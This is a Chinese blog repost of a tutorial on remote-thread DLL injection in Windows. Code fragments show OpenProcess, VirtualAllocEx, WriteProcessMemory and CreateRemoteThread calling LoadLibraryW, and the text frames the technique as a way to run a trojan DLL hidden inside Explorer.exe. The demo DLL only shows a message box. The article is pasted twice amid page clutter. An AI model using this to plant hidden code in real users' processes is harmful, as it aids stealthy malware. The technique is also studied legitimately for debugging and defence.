Chinaunix首页 | 论坛 | 博客
  • 博客访问: 16497524
  • 博文数量: 5645
  • 博客积分: 9880
  • 博客等级: 中将
  • 技术积分: 68081
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-28 13:35
文章分类

全部博文(5645)

文章存档

2008年(5645)

我的朋友

分类:

2008-04-28 20:56:10

下载本文示例代码
天极IT资讯短信服务 电脑小技巧 function check4() { if (dn.mobile.value.length!=11) { alert("手机号码不正确!"); dn.mobile.focus(); return false; } return true; } 资费:包月5元手机: 介绍:细处着手,巧处用功。高手和菜鸟之间的差别就是:高手什么都知道,菜鸟知道一些。电脑小技巧收集最新奇招高招,让你轻松踏上高手之路。   远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。 但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。  首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)  hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允许远程创建线程                 PROCESS_VM_OPERATION | file://允许远程VM操作                 PROCESS_VM_WRITE,//允许远程VM写                 FALSE, dwRemoteProcessId )   由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。   然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)  file://计算DLL路径名需要的内存空间  int cb = (1 lstrlenW(pszLibFileName)) * sizeof(WCHAR);  file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区  pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,             MEM_COMMIT, PAGE_READWRITE);  file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间  iReturnCode = WriteProcessMemory(hRemoteProcess,             pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);  file://计算LoadLibraryW的入口地址  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)      GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");   万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:  file://启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件  hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,                  pfnStartAddr, pszLibFileRemote, 0, NULL);   至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:  BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)    {     char szProcessId[64] ;     switch ( reason )      {       case DLL_PROCESS_ATTACH:        {          file://获取当前进程ID          _itoa ( GetCurrentProcessId(), szProcessId, 10 );          MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );        }       default:       return TRUE;      }    }   当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到    Process ID: 1208    C:\WINNT\Explorer.exe (0x00400000)    ……    C:\TestDLL.dll (0x100000000)    ……   这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。   无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。 天极IT资讯短信服务 电脑小技巧 function check4() { if (dn.mobile.value.length!=11) { alert("手机号码不正确!"); dn.mobile.focus(); return false; } return true; } 资费:包月5元手机: 介绍:细处着手,巧处用功。高手和菜鸟之间的差别就是:高手什么都知道,菜鸟知道一些。电脑小技巧收集最新奇招高招,让你轻松踏上高手之路。   远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。 但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。  首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)  hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允许远程创建线程                 PROCESS_VM_OPERATION | file://允许远程VM操作                 PROCESS_VM_WRITE,//允许远程VM写                 FALSE, dwRemoteProcessId )   由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。   然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)  file://计算DLL路径名需要的内存空间  int cb = (1 lstrlenW(pszLibFileName)) * sizeof(WCHAR);  file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区  pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,             MEM_COMMIT, PAGE_READWRITE);  file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间  iReturnCode = WriteProcessMemory(hRemoteProcess,             pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);  file://计算LoadLibraryW的入口地址  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)      GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");   万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:  file://启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件  hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,                  pfnStartAddr, pszLibFileRemote, 0, NULL);   至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:  BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)    {     char szProcessId[64] ;     switch ( reason )      {       case DLL_PROCESS_ATTACH:        {          file://获取当前进程ID          _itoa ( GetCurrentProcessId(), szProcessId, 10 );          MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );        }       default:       return TRUE;      }    }   当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到    Process ID: 1208    C:\WINNT\Explorer.exe (0x00400000)    ……    C:\TestDLL.dll (0x100000000)    ……   这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。   无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。 下载本文示例代码


用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术用Visual C 实现远程线程嵌入技术
阅读(101) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~